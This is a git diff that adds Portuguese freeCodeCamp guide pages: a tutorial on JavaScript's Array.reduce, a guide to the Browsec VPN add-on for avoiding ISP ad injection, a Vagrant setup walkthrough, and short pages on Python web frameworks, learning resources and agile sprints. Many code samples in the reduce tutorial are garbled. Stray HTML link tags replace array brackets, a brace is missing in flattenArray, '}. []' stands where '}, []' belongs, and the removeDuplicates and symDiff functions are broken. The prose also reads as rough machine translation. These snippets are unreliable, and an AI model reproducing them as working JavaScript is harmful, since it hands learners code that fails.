+Como você deve ter visto na documentação, são necessários alguns argumentos adicionais, mas opcionais. Mas mais sobre isso depois. Assumindo `arr` é um array arbitrário.
+```
+arr.reduce(function(){}, initialValue); 
+```
+
+Agora, vamos dar uma olhada mais de perto na função de retorno de chamada, que é o primeiro argumento de `reduce` . Este retorno de chamada, por sua vez, leva dois argumentos. Estes dois argumentos são chamados na documentação oficial como `prev` e `next` . Pessoalmente, não acho que esses nomes façam justiça à sua verdadeira natureza.
+
+Assim, ao longo deste texto, estaríamos nos referindo a eles como `acc` , para representar valor acumulado; e `item` , para denotar o item atual que está sendo acessado.
+
+Com estes, até aqui, o que deve ser uma `reduce` :
+```
+arr.reduce(function(acc, item){ 
+ /* here you have to complete the function */ 
+ }, initialValue); 
+```
+
+Agora, vamos descobrir o que seria o valor destes `acc` e `item` são. Já mencionamos anteriormente que a `reduce` é um substituto para construções iterativas.
+
+É lógico que `reduce` levaria sua função de retorno de chamada personalizada; e iterar sobre o Array no qual `reduce` foi invocado.
+
+Em vez de descrevê-los, vamos perguntar ao mecanismo de execução JS quais são eles!
+```
+var arr = <a href='http://javascriptissexy.com/understand-javascripts-this-with-clarity-and-master-it/' target='_blank' rel='nofollow'>10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item); 
+ }, 0); 
+```
+
+Executar as informações acima no navegador ou no console do Nó forneceria a seguinte saída:
+```
+0 10 
+ undefined 20 
+ undefined 30 
+ undefined 60 
+```
+
+Observe que o número de saídas é o mesmo que o número de elementos na matriz `[10, 20, 30, 60]` . Na verdade, imprime os elementos do Array!
+
+Assim, podemos deduzir que `reduce()` pega seu retorno de chamada customizado e o executa em cada elemento do Array. Ao fazer isso, ele torna o item atual disponível para o retorno de chamada personalizado como argumento de `item` .
+
+Mas e quanto a `acc` ? Vemos que diferente da primeira linha, quando `item = 10` , é `undefined` . Na primeira linha, que corresponde à primeira iteração, seu valor é igual ao valor `initialvalue` .
+
+Em suma, o nosso `acc` acumulador, não está acumulando!
+
+Mas então, como podemos acumulá-lo? Vamos tentar executar isso:
+```
+var arr = [10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item); 
+   return acc; 
+ }, 0); 
+```
+
+Desta vez, a saída muda para:
+```
+0 10 
+ 0 20 
+ 0 30 
+ 0 60 
+```
+
+Como você pode ver, o valor de `acc` permaneceria constante durante todo o processo. E isso é esperado - não estamos alterando o valor de `acc` em qualquer lugar no retorno de chamada personalizado. Devolvemos qualquer `reduce` disponível em uma determinada iteração.
+
+Mas sabia que alguma coisa - o valor de `acc` para a iteração atual, seria o `return` valor de retorno de chamada personalizada da iteração anterior. E, finalmente, quando a iteração terminar, o valor final de `acc` será retornado pela chamada `reduce` .
+
+Isso deixa apenas uma parte importante em nossa compreensão - o valor do contexto de execução ou \[ `this` !
+
+Então, novamente nos aproximamos do nosso vizinho amigável, o console JS e executamos isso:
+```
+var arr = <a href='https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode' target='_blank' rel='nofollow'>10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item, this); 
+   return acc; 
+ }, 0); 
+```
+
+Se você estiver em \[modo estrito, ele retornará `undefined` como valor `this` . Caso contrário, no navegador, apontaria para o objeto [`window`](https://developer.mozilla.org/en-US/docs/Web/API/Window) como `this` . Podemos substituir e definir por conta própria, usando [`bind`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_objects/Function/bind) ? Certo! apenas use `bind` com o callback:
+```
+var arr = <a href='https://en.wikipedia.org/wiki/Loop_invariant' target='_blank' rel='nofollow'>10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item, this); 
+   return acc; 
+ }.bind(arr), 0); 
+```
+
+Eu limitei o array `arr` si; mas você pode configurá-lo para qualquer objeto em seu ambiente.
+
+## Compreender Reduzir
+
+Vamos resumir nossa compreensão desta função de `reduce` para fácil referência:
+
+*   Reduzir leva um retorno de chamada personalizado como seu primeiro argumento e algum valor inicial como seu segundo argumento.
+*   É importante não nos esquecermos do segundo argumento, o valor inicial; e explicitamente definimos enquanto o usamos.
+*   Os argumentos de entrada para o retorno de chamada personalizado são acumulados valor `acc` ; e o item atual na Matriz, `item` .
+*   O valor de `acc` para a próxima iteração seria o valor retornado de dentro do retorno de chamada, na iteração atual.
+*   O ponto inteiro de usar `reduce()` é formar o `acc` corretamente; para retorná-lo finalmente da chamada `reduce()` .
+
+Não tente lembrar-se deles! Em vez disso, vamos lembrar deles aplicando-os em código real.
+
+## Usando Reduzir
+
+Vamos iniciar uma simples operação de Array no topo da nossa cabeça - _encontrando o máximo em um Array_
+
+Por uma questão de brevidade, estou assumindo que é um inteiro Array.
+
+Para formar uma solução, precisamos pensar em como formar o `acc` como `reduce` leva o nosso retorno e itera sobre a matriz.
+
+Uma ideia que acho útil é pensar em termos de \[loop-invariants. Queremos chegar a uma formulação que não importa qual o tamanho ou conteúdo do Array; `acc` deve sempre ter o valor máximo até o momento.
+
+Diga, My Array é `[20, 50, 5, 60]` . Após duas iterações; `item` seria `5` e `acc` deve ser `max(20, 50) = 50` .
+
+A única maneira de `acc` sempre obter o máximo de _subarray percorrido até agora_ , é se sempre escolhermos o máximo do `item` atual e `acc` - e retornar o vencedor!
+
+Então, aqui está a aparência da função:
+```
+var arr = [20, 50, 5, 60]; 
+ arr.reduce(function(acc, item){ 
+  return Math.max(acc, item); 
+ }, 0); 
+```
+
+Pode ser tentador reescrevê-lo da seguinte maneira, em conjunto com os princípios de programação funcional;
+```
+var arr = [20, 50, 5, 60]; 
+ arr.reduce(Math.max, 0); 
+```
+
+mas isso não funcionaria e retornaria `NaN` . Aqui está o motivo - `acc` e `item` não são os **únicos** argumentos para o retorno de chamada personalizado. Quando você chama [`Math.max()`](//forum.freecodecamp.com/t/javascript-math-max/14682) tenta chamá-lo em argumentos não numéricos, resultando em `NaN` .
+
+Observe que não pensei muito em escolher o valor inicial. Eu só peguei como `0` ; resultando em um bug!
+
+Então, e se minha matriz for composta de valores menores que zero? Diga, `arr = <a href='https://en.wikipedia.org/wiki/Least_common_multiple' target='_blank' rel='nofollow'>-7, -56, -5, -2]` . O valor retornado seria `0` , o que não é ainda presente na matriz `arr` .
+
+Em vez disso, devemos escolher o menor valor possível para o valor inicial.
+```
+var arr = [-20, -50, -5, -60]; 
+ arr.reduce(function(acc, item){ 
+  return Math.max(acc, item); 
+ }, -Infinity); 
+```
+
+Estamos chegando lá. Devemos aprimorar nossas habilidades em outro problema relacionado à Matriz. Só para se divertir, vamos com um pouco mais difícil.
+
+Digamos que devemos encontrar \[LCM de uma matriz de inteiros. Agora, a partir da teoria, sabemos que o LCM de dois números seria produto deles, dividido pelo seu [HCF](https://en.wikipedia.org/wiki/Greatest_common_divisor) .
+
+Algoritmo Eucliano para o achado de HCF existe; e abundante é a sua implementação. Não adianta desperdiçar seu tempo fazendo você escrever uma função HCF quando você pode escrever um, ou encontrar um.
+
+Em vez disso, vamos ver como estender o LCM de dois números no LCM de vários números. Newsflash - não é produto de array inteiro dividido pelo seu HCF. Não. Isso seria matematicamente errado.
+
+O LCM de três números seria o LCM dos dois primeiros números; então LCM do primeiro LCM com o número restante. Da mesma forma, você pode formular uma estratégia para descobrir primeiro o LCM da sub-matriz, depois pegar outro número e encontrar o seu LCM com o primeiro LCM.
+
+Então, como podemos formular a solução? Precisamos pensar em `acc` no meio de uma iteração. O `acc` final deve ser o LCM de toda a matriz, sem dúvida. Mas durante a `nth` iteração também; `acc` deve manter o LCM dos elementos `(n-1)` percorridos até agora.
+
+E sim, o valor inicial. Deve ser um número, cujo LCM com outro número seria o outro número. Claramente, é `1` .
+
+Vamos escrever nossa solução de `reduce` .
+```
+var arr = <a href='http://www.freecodecamp.com/challenges/symmetric-difference' target='_blank' rel='nofollow'>1, 2, 3, 4, 5, 6]; 
+ arr.reduce(function(acc, item){ 
+  return acc * item / hcf(acc, item); 
+ }, 1); 
+```
+
+Estou assumindo que uma função `hcf()` está disponível no ambiente. Eu escolhi as entradas de uma maneira; deve retornar `60` como resposta.
+
+## Mais reduzir
+
+Reduzir não é apenas uma função para fornecer utilitários para resolver alguns problemas de Mathy, como soma da matriz, hcf da matriz, mínimo da matriz, etc.
+
+É perfeitamente capaz de ir além. Nós estaremos lidando com alguns exemplos complexos por enquanto.
+
+Diga, você deseja achatar matrizes aninhadas. E sim, antes de começar a pular para cima e para baixo em seu assento - o aninhamento poderia ser qualquer nível arbitrário.
+
+Por exemplo, poderíamos usar esse array para testar nosso código.
+```
+var arr = [[1, 2, 3], ['cat', 'dog', ['fish', 'bird'], [[[]]]]]; 
+```
+
+Isso parece suficientemente complexo para começar - matrizes aninhadas, matrizes aninhadas vazias com profundidade variável.
+
+A saída deve ser `[1, 2, 3, 'cat', 'dog', 'fish', 'bird']`
+
+Chegou a hora de formular uma estratégia. Nós claramente precisamos distinguir entre uma matriz e um elemento. Além disso, `acc` deve ser o array sendo formado ao longo da iteração; significando que o valor inicial seria uma matriz vazia `[]` .
+
+Ao longo do código da função de retorno de chamada, simplesmente extraímos o conteúdo do `item` , que pode ser uma matriz profundamente aninhada; e nós iríamos `Array.prototype.concat()` com o valor `acc` . É melhor usar `concat()` sobre `Array.prototype.push()` ; porque `push()` altera o array original; enquanto `concat()` cria uma nova matriz e a retorna.
+
+E já que não sabemos o nível de aninhamento em um dado instante; Devemos chamar nosso callback personalizado recursivamente. Ou seja, temos que escrevê-lo em outro lugar e chamá-lo pelo nome dentro de `reduce()` .
+```
+var arr = [[1, 2, 3], ['cat', 'dog', ['fish', 'bird'], [[[]]]]]; 
+ 
+ function flattenArray(arr) { 
+  return arr.reduce(function(acc, item){ 
+    if(Array.isArray(item)){ 
+      return acc.concat(flattenArray(item)); // recursively call to flatten nested array 
+    return acc.concat(item); // this does the ordering. If you want reverse ordered output, just reverse it! 
+  }, []) 
+ 
+ } 
+ 
+ // call it like this 
+ flattenArray(arr); 
+```
+
+Claro, isso requer algum conhecimento em funções recursivas; mas isso não é muito difícil de entender, comparado ao assunto deste longo!
+
+Sim, vá em frente e brinque com isso. Mas observe como podemos simplesmente escrever 3-4 linhas de funções limpas, mantendo algumas poucas diretrizes simples em mente - e fazer algo tão complexo quanto isso de forma confiável. Isso é legível e sustentável.
+
+Por exemplo, se você quiser alterar ou ajustar a lógica da lógica mais tarde (digamos que você queira colocar uma string em maiúsculas ou codificar alguma string); você pode identificar facilmente onde alterar. O aninhamento real acontece dentro da condição `if` . E a maneira como usamos a chamada de `reduce` - mantém a ordem dos elementos como eles estão na matriz.
+
+Vamos dar outro exemplo aparentemente complexo e trazê-lo de joelhos para a espada de `reduce` !
+
+Estamos a descobrir as \[diferenças simétricas de duas ou mais matrizes. Parece assustador; mas então você começa a pensar.
+
+Qual seria o valor inicial? Claro, estamos formando uma matriz; então seria uma matriz vazia `<a href='https://github.com/reactjs/redux' target='_blank' rel='nofollow'>]` para começar. Então há o `acc` - desde que nossa solução final conteria uma matriz difusa; teria que ser um array também. Isso continuaria empilhando as diferenças simétricas das matrizes encontradas até agora.
+
+Só para ficar claro, essa função poderia aceitar um número arbitrário de matrizes; então, temos que convertê-los todos em uma matriz de matrizes para facilitar a manipulação.
+```
+function symDiff(args){ 
+  // convert args to an Array 
+  var argsArray = Array.prototype.slice.call(arguments); 
+ 
+  // now do the reduce magic! 
+  argsArray.reduce(function(acc, item){ 
+    return acc 
+      .filter(function(itemInAcc){ 
+        return item.indexOf(itemInAcc) === -1; 
+      }) 
+      .concat(item.filter(function(itemInItem){ 
+        return acc.indexOf(itemInItem) === -1; 
+      })); 
+  }. []); 
+ } 
+```
+
+Sim eu conheço. Parece grande. Então, vamos ver se podemos refatorar para torná-lo pequeno. Observe que ambas as funções de `filter` fazem o mesmo trabalho; exceto com um conjunto alterado de pares de argumentos. Legal! Vamos criar uma função separada e chamá-la duas vezes com esses argumentos.
+```
+function symDiff(args){ 
+  // convert args to an Array 
+  var argsArray = Array.prototype.slice.call(arguments); 
+ 
+  // now do the reduce magic! 
+  argsArray.reduce(function(acc, item){ 
+    var funWithFiltering = function(arr1, arr2){ 
+      return arr1.filter(function(itemInArr1){ 
+        return arr2.indexOf(itemInArr1) === -1; 
+      }); 
+    }; 
+ 
+    return funWithFiltering(acc, item).concat(funWithFiltering(item, acc)); 
+  }. []); 
+ } 
+```
+
+Isso parece melhor. Mas ainda há outro problema. Isso manteria duplicatas na matriz. Se isso não for necessário, poderíamos facilmente escrever outra função usando `reduce` para remover as duplicatas.
+```
+function removeDuplicates(arr){ 
+  arr.filter(item, index, self){ 
+    // Keep only the first instance of the array, as given by indexOf() 
+    // Remove other elements from Array 
+    return self.indexOf(item) === index; 
+  } 
+ } 
+```
+
+Não podemos continuar ignorando isso por mais tempo. Eu tenho usado `filter` enquanto prometi usar `reduce` , certo? O motivo é simples - o `filter` pode ser escrito com `reduce` . Na verdade, qualquer operação de matriz, em teoria; pode ser implementado com `reduce()` .
+
+Faça uma tentativa! Implemente o `map` e `filter` com `reduce` . Você tem que cuidar de argumentos opcionais também.
+
+## Empacotando
+
+Whoa isso foi bastante! Mas eu acho que fiz um forte caso de usar `reduce` sempre que você quiser usar um loop para fazê-lo. Esteja habituado a isso como se fosse sua primeira natureza.
+
+Assim que você tiver um problema em alguma transformação de String ou manipulação de Array; comece escrevendo
+```
+return arr.reduce(function(acc, item){_}, _); 
+```
+
+E então preencha os espaços em branco. Quando você está usando `reduce()` , você está pensando em termos de interação de cada elemento com outro elemento. Você está formando a saída aculmando-a do início ao fim.
+
+O framework \[Redux abraça o princípio de `reduce` e está ganhando alta popularidade em web design.
+
+Observe também outro recurso importante - `reduce` forças ou o guie para formar sua solução sem alterar nada existente. Por exemplo, no último exemplo; estávamos filtrando e concatenando - mas sabíamos que funcionaria como está; porque o primeiro conjunto de operação não alterar qualquer das `acc` ou `item` dentro dessa iteração.
+
+Este seria um ótimo momento para você, que o parâmetro `initialValue` é [opcional](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce#Parameters) . Você não precisa fornecer explicitamente.
+
+Se você omitir isso; para a primeira iteração `acc` seria o primeiro item da matriz e `item` seria o segundo item da matriz. Isso significaria que podemos escrever uma soma de utilitário de matriz apenas omitindo-o. Ou, não precisamos pensar em `-Infinity` no caso de encontrar valor máximo em array - isso funcionaria muito bem se removermos o valor inicial.
+
+Mas em algumas situações complexas, seria melhor visualizar e formular a solução em termos de alguma base - alguma inicialização. No entanto, se você estiver mais confortável sem ele, cada um dele mesmo!
+
+Se você tiver outras dúvidas ou sugestões, entre em nossa [sala de chat gitter](https://gitter.im/FreeCodeCamp/FreeCodeCamp) ; e conte-nos como você `reduce` !
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/using-browsec-for-securing-your-connection-to-freecodecampcom/index.md b/client/src/guide/portuguese/miscellaneous/using-browsec-for-securing-your-connection-to-freecodecampcom/index.md
new file mode 100644
index 0000000000..c8bae05e16
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/using-browsec-for-securing-your-connection-to-freecodecampcom/index.md
@@ -0,0 +1,97 @@
+---
+title: Using Browsec for Securing Your Connection to Freecodecampcom
+localeTitle: Usando o Browsec para proteger sua conexão com o Freecodecampcom
+---
+### Por que preciso de um plugin ou complemento?
+
+Ultimamente alguns dos campistas começaram a enfrentar problemas estranhos, a saber, "Modificação de Conteúdo" por alguns Provedores de Serviços de Internet (ISP), levando ao site do [FreeCodeCamp.com](http://freecodecamp.com) (FCC) sendo quebrado algumas vezes.
+
+Isso veio à luz com alguns dos problemas registrados pelos campistas:
+
+*   [\# 5999: Anúncios de injeção de ISPs indianos interrompem o site](https://github.com/FreeCodeCamp/FreeCodeCamp/issues/5999)
+*   [\# 6122: Problema sério usando o IDE do FCC, console mostrando erro…](https://github.com/FreeCodeCamp/FreeCodeCamp/issues/6122)
+*   [\# 6381: Não é possível visualizar o editor de código no navegador](https://github.com/FreeCodeCamp/FreeCodeCamp/issues/6381)
+
+## TL: DR: O que há de errado, de novo?
+
+Bem, para alguns campistas, este é um caso clássico de [homem no ataque do meio](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) .
+
+Por exemplo, como visto na edição \# 5999 , o ISP de alguns campistas da Índia está deliberadamente injetando anúncios nos sites visitados do usuário que estão causando problemas.
+
+Embora, em outros casos, os ISPs às vezes usem uma estratégia semelhante para armazenar em cache os sites visitados pelos consumidores, para que possam veicular o conteúdo em cache para outros consumidores que visitam os mesmos sites, isso economiza custos de largura de banda e disponibiliza sites mais rapidamente.
+
+Mas quando isso não é feito corretamente (ou é feito de forma maliciosa, como no primeiro caso), isso modifica o conteúdo essencial para sites, e os impede de funcionar corretamente.
+
+## Qual é a correção, então?
+
+Simples, precisamos criptografar nossa conexão com o site da FCC. Ao criptografar nosso tráfego, contornamos a capacidade do ISP de modificar ou armazenar em cache nosso conteúdo conforme ele passa pela infraestrutura.
+
+Isso pode ser feito com um complemento de navegador útil chamado [Browsec](https://browsec.com/en/) .
+
+### Como o add-on funciona?
+
+O add-on cria uma conexão VPN entre o seu dispositivo e o mundo exterior. Ou seja, o Sr. Peeping Tom (ISP), não pode mexer com sua conexão com o site da FCC. É tecnicamente o mesmo que se você não estivesse em sua casa, mas acessando o site da FCC nos EUA, na Holanda ou em outros lugares semelhantes.
+
+_Nos bastidores, ele criptografa a transmissão de dados e oculta seu IP._
+
+## Eu sou vendido, mostre-me os passos.
+
+Ai está!
+
+### Para o Google Chrome:
+
+#### Etapa 1: instale a extensão do browsec.
+
+Você pode [baixar e instalar o plugin browsec](https://chrome.google.com/webstore/detail/browsec/omghfjlpggmjjaagoclmmobgdodcjboh) para Chrome na WebStore oficial.
+
+![Imagem de 'Browsec on Google Chrome WebStore'](//discourse-user-assets.s3.amazonaws.com/original/2X/6/61bd52ed78c56369e62ca376b6dd9e56abcb6363.png)
+
+#### Etapa 2: limpe os cookies do navegador e o cache (opcional).
+
+É bom limpar o cache do navegador pela primeira vez para usar o browsec, para que o navegador carregue todos os arquivos do zero.
+
+#### Etapa 3: reinicie seu navegador e visite [FreeCodeCamp.com](http://freecodecamp.com)
+
+Basta fechar o navegador e reiniciá-lo. Verifique a extensão de browsec, para o seu local de endpoint desejado.
+
+### Para o Mozilla Firefox:
+
+Faça o download de uma versão portátil do Firefox, com o complemento incluído, no [site](https://browsec.com/en/dashboard/main) da [Browsec](https://browsec.com/en/dashboard/main) .
+
+![Imagem de 'Browsec on Google Chrome WebStore'](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b30fbf3bade330044e18b3c37409f2437a3810c1.png)
+
+É isso aí! Codificação Feliz! Se isso funcionar, informe-nos no [Chat de Ajuda](https://gitter.im/FreeCodeCamp/Help)
+
+## FAQs
+
+### Como eu sei se estou enfrentando um ataque "man in the middle"?
+
+Quando você visita o site da FCC, ou faz os desafios, se você olhar para o console do desenvolvedor do seu navegador (Pressione F12> guia Console), você deve ver erros semelhantes, como abaixo.
+
+![Imagem de 'Error'](//discourse-user-assets.s3.amazonaws.com/original/2X/4/4949599e3143f454fc5a7174a81e65fa68d04c77.png)
+
+![Imagem de 'Error'](//discourse-user-assets.s3.amazonaws.com/original/2X/0/039acb319bae57f31ebd78aa3c8987f324a37f84.png)
+
+![Imagem de 'Error'](//discourse-user-assets.s3.amazonaws.com/original/2X/2/25dcc04ecddc422fb7ba113ddac3378d5decd905.png)
+
+Estes são casos clássicos do problema.
+
+### Espere um minuto, posso usar algum mecanismo alternativo para o Browsec?
+
+Sim, por que não, você pode usar qualquer cliente VPN disponível no mercado, mas tenha em mente que o Browsec é gratuito e funciona muito bem!
+
+### Ei e outros navegadores, Internet Explorer, Safari, etc?
+
+Hmm, vá para qualquer add-on VPN que você pode encontrar para estes navegadores, [Tor](https://www.torproject.org/) , é um desses clientes, mas eles vêm com assinaturas pagas, você pode basicamente usar qualquer anonymizer que você quiser, no entanto Chrome e Browsec são experimentados e testados e já trabalhou para a maioria dos campistas no passado.
+
+### Posso usar o anonimato para usar sites que não sejam da FCC?
+
+Claro que sim. Por que não? No entanto, lembre-se de que isso não o torna invisível para a lei, então tenha cuidado com o que você está fazendo! ![:wink:](//forum.freecodecamp.com/images/emoji/emoji_one/wink.png?v=2 ":piscadela:")
+
+### E se isso não funcionar para mim?
+
+Por favor, deixe-nos saber no [Chat de Ajuda](https://gitter.im/FreeCodeCamp/Help) , vamos tentar o nosso melhor para encontrar uma solução alternativa.
+
+#### _aviso Legal_
+
+**_FreeCodeCamp NÃO endossa nenhum dos softwares mencionados neste artigo, por favor use-os a seu próprio critério. Alguns clientes VPN podem rastrear sua atividade, e também pode haver efeitos colaterais, como baixa velocidade ou atraso no carregamento da página._**
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/using-vagrant-for-your-work-envirioment/index.md b/client/src/guide/portuguese/miscellaneous/using-vagrant-for-your-work-envirioment/index.md
new file mode 100644
index 0000000000..d31cfbccf7
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/using-vagrant-for-your-work-envirioment/index.md
@@ -0,0 +1,53 @@
+---
+title: Using Vagrant for Your Work Envirioment
+localeTitle: Usando o Vagrant para seu ambiente de trabalho
+---
+As instruções a seguir ajudarão você a instalar o software necessário e também a configurar seu primeiro Vagrant e Virtual Box.
+
+## Instalação
+
+Isso criará um ambiente de trabalho para que você possa testar seu site na sua máquina local. O **Vagrantfile** pode ser configurado para o seu ambiente específico para que qualquer pessoa que trabalhe com você possa fazer e ver alterações, independentemente de usarem o Linux, o Mac OS X ou o Windows. Usando este ambiente virtual, você poderá ver seus scripts PHP rodando, construindo e trabalhando com seus bancos de dados, e muito mais. Então, sem mais nem fazer, vamos ao que interessa.
+
+Confira os links a seguir e instale cada programa. Certifique-se de que corresponda ao seu sistema operacional (sistema operacional).
+
+*   [Caixa virtual](https://www.virtualbox.org/)
+*   [Vagabundo](https://www.vagrantup.com/downloads.html)
+*   [Git Bash, Gui e Comando](https://git-scm.com/downloads)
+
+Agora que temos os programas necessários instalados, vamos ao que interessa.
+
+**O Git** tem vários programas diferentes que podemos usar aqui. Vamos abrir a **GUI** do **Git** . Também podemos iniciar o **Virtual Box** para que possamos ver a caixa em execução.
+
+Depois de executar a **GUI** do **Git** , você verá várias opções. Vamos selecionar a opção top, **"Create New Repository"** .
+
+Selecione o botão **"Procurar"** e selecione a unidade que você deseja instalar e executar sua máquina virtual / servidor. Você pode clicar com o botão direito na área da pasta e criar uma nova pasta. Vamos chamar de **FreeCodeCampMachine** .
+
+Agora, você verá o **Git Gui** e ao lado de Directory, você verá **C: / FreeCodeCampMachine** .
+
+Na parte inferior, selecione o botão que diz **"Criar"** .
+
+Agora a interface parece diferente. Não se preocupe com nenhum dos botões na parte inferior nem se preocupe com todas as opções na parte superior. Queremos trabalhar em uma coisa. Selecione a opção no canto superior esquerdo que diz **"Repositório"** , então, sob essa opção, você encontrará **"Git Bash"** . Selecione **Git Bash** .
+
+Agora vemos que estamos em uma janela de terminal / console. Você deve ver o nome do seu computador seguido por **MINGW64 / d / FreeCodeCampMachine (master)** . Isso simplesmente diz que estamos operando na pasta que você criou e você está no repositório **principal** . Mais tarde, vamos criar um ramo, mas vamos nos preocupar com isso mais tarde.
+
+Agora, vamos jogar alguns comandos para baixo e fazer a bola rolar. Primeiro digite o seguinte e pressione Enter:
+```
+$ git clone https://github.com/scotch-io/scotch-box myProject 
+```
+
+Isto irá criar uma pasta dentro do seu diretório chamado **"myProject"** . Em seguida, vamos detalhar essa pasta, então digite os seguintes comandos e aperte enter:
+```
+$ cd myProject 
+```
+
+Agora estamos na pasta em que queremos estar. Agora digite o seguinte na linha de comando e tecle enter:
+```
+vagrant up 
+```
+
+Agora, vamos abrir uma janela do navegador e digite o seguinte endereço IP:
+```
+http://192.168.33.10/ 
+```
+
+Você deve ver uma página de destino do **Scotch Box** informando tudo o que está lá e instalou. Agora, quando você vasculhar o arquivo criado anteriormente, encontrará um que diz **"público"** . Dentro dessa pasta, você verá um arquivo chamado **"index.php"** e é o que você vê na página de destino. Você pode editar esse arquivo com um editor de texto, salvá-lo e atualizar seu navegador para ver suas alterações.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/web-applications-using-python/index.md b/client/src/guide/portuguese/miscellaneous/web-applications-using-python/index.md
new file mode 100644
index 0000000000..6618b4d433
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/web-applications-using-python/index.md
@@ -0,0 +1,9 @@
+---
+title: Web Applications Using Python
+localeTitle: Aplicativos da Web usando Python
+---
+Sites altamente populares como o [YouTube](http://highscalability.com/youtube-architecture) , [Reddit](https://github.com/reddit/reddit) , [Instagram](http://instagram-engineering.tumblr.com/post/13649370142/what-powers-instagram-hundreds-of-instances) , [Quora](http://qr.ae/RUkZJd) , [Pinterest](http://qr.ae/RUkZOJ) , [Dropbox](http://eranki.tumblr.com/post/27076431887/scaling-lessons-learned-at-dropbox-part-1) , [Bitbucket](https://blog.bitbucket.org/2012/08/24/segregating-services/) etc. são escritos principalmente em Python. Você provavelmente obteria uma lista mais abrangente, investigando por conta própria.
+
+Obviamente, a lista acima não é completa; mas esse seria um ótimo momento para apontar algo para você: escrever seu back-end no Python não tornaria o site _automaticamente_ tão rápido e escalonável quanto o YouTube. Citamos a lista de sites acima para simplesmente indicar que o Python é o favorito de muitos engenheiros de software na indústria, para o desenvolvimento da web.
+
+O Python fornece os blocos lego para criar aplicativos da Web robustos e escalonáveis. Você também pode aproveitar a facilidade de escrever módulos Python ao montá-lo. Mas uma arma é tão potente quanto seu mestre. Se você não sabe como manejá-lo, você provavelmente acabaria atirando no próprio pé.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/web-frameworks-in-python/index.md b/client/src/guide/portuguese/miscellaneous/web-frameworks-in-python/index.md
new file mode 100644
index 0000000000..fa1b55277e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/web-frameworks-in-python/index.md
@@ -0,0 +1,7 @@
+---
+title: Web Frameworks in Python
+localeTitle: Estruturas da Web em Python
+---
+Como a maioria dos domínios no desenvolvimento do Python, a comunidade Python trata o desenvolvimento da Web com muito carinho e nos oferece estruturas amadurecidas e bem mantidas; de complexidade variada.
+
+Temos micro-frameworks como [Flask](http://flask.pocoo.org/) , [Bottle](http://bottlepy.org/docs/dev/index.html) . Também temos frameworks como o [Django](https://www.djangoproject.com/) , que vem com [baterias incluídas](https://github.com/rosarior/awesome-django) . Você pode encontrar uma lista completa de frameworks web, escritos em Python, [aqui](https://en.wikipedia.org/wiki/Comparison_of_web_frameworks#Python) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/web-resources-for-your-learning/index.md b/client/src/guide/portuguese/miscellaneous/web-resources-for-your-learning/index.md
new file mode 100644
index 0000000000..8778c92f32
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/web-resources-for-your-learning/index.md
@@ -0,0 +1,20 @@
+---
+title: Web Resources for Your Learning
+localeTitle: Recursos da Web para seu aprendizado
+---
+Links úteis para ajudá-lo com seu aprendizado e projetos.
+
+## Links
+
+*   [Manual de Campo da Web](http://webfieldmanual.com)
+
+## Depuração
+
+*   [inspetor de nó](https://www.npmjs.com/package/node-inspector)
+*   [Brackets Live Pré-Visualização](http://brackets.io)
+*   [sincronização do navegador](http://www.browsersync.io)
+
+## Ferramentas e Recursos
+
+*   [Analisador de Contraste de Cor](http://wave.webaim.org/report#/google.com)
+*   [Padrões de cores](http://colorlovers.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/what-is-a-sprint/index.md b/client/src/guide/portuguese/miscellaneous/what-is-a-sprint/index.md
new file mode 100644
index 0000000000..df59fe0381
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/what-is-a-sprint/index.md
@@ -0,0 +1,23 @@
+---
+title: What Is a Sprint
+localeTitle: O que é um Sprint
+---
+Um **sprint** é um período de tempo definido a partir da linha de tempo geral de um projeto com tarefas associadas a serem concluídas durante esse período de tempo. Essa lista de tarefas é chamada de _Product Backlog_ do sprint.
+
+A ideologia por trás de um _sprint_ permite que uma linha do tempo maior seja facilmente dividida em partes menores e mais fáceis de digerir, a fim de concentrar o esforço de todas as partes interessadas em algumas tarefas agendadas logicamente de cada vez.
+
+Todas as entregas de um sprint devem ser aceitas pelos principais interessados ​​antes de passar para o próximo sprint e um projeto terá múltiplos sprints até que o escopo seja atingido.
+
+Na maioria dos casos, um _sprint_ começa com uma reunião de planejamento em que a pessoa ou pessoas que solicitam o trabalho se reúnem com os desenvolvedores para determinar qual trabalho pode ser realisticamente concluído durante o período de tempo, ou sprint, em discussão. O desenvolvedor geralmente terá a palavra final sobre qual trabalho será concluído durante o sprint.
+
+Em algumas organizações, essas reuniões serão supervisionadas por um Scrum Master ou um Gerente de Projeto, a fim de garantir que o objetivo geral do projeto seja atingido após a conclusão de todos os sprints.
+
+Os Sprints, em média, duram até 30 dias ou em até 7 dias, dependendo do tamanho do projeto, do número de tarefas a serem completadas e do número de recursos disponíveis para trabalhar nas tarefas do sprint.
+
+Além disso, em algumas organizações, os desenvolvedores se reunirão diariamente para discutir o andamento, as necessidades e os obstáculos do projeto. Essas reuniões são às vezes mencionadas como reunião SCRUM ou Reunião Diária em Stand-up. A pessoa ou pessoas são às vezes convidadas a ouvir, no entanto, elas estão apenas presentes como observadores.
+
+![sprint schedule](https://i.imgur.com/l8EAw1L.png "exemplo de cronograma de sprint")
+
+O acima é um exemplo de um plano de sprint que foi apresentado em seis sprints de 30 dias. Você pode ver que há um Sprint Dev em cada um dos seis sprints, mas no Sprint 2 existe algo rotulado como **Sprint # Increment** .
+
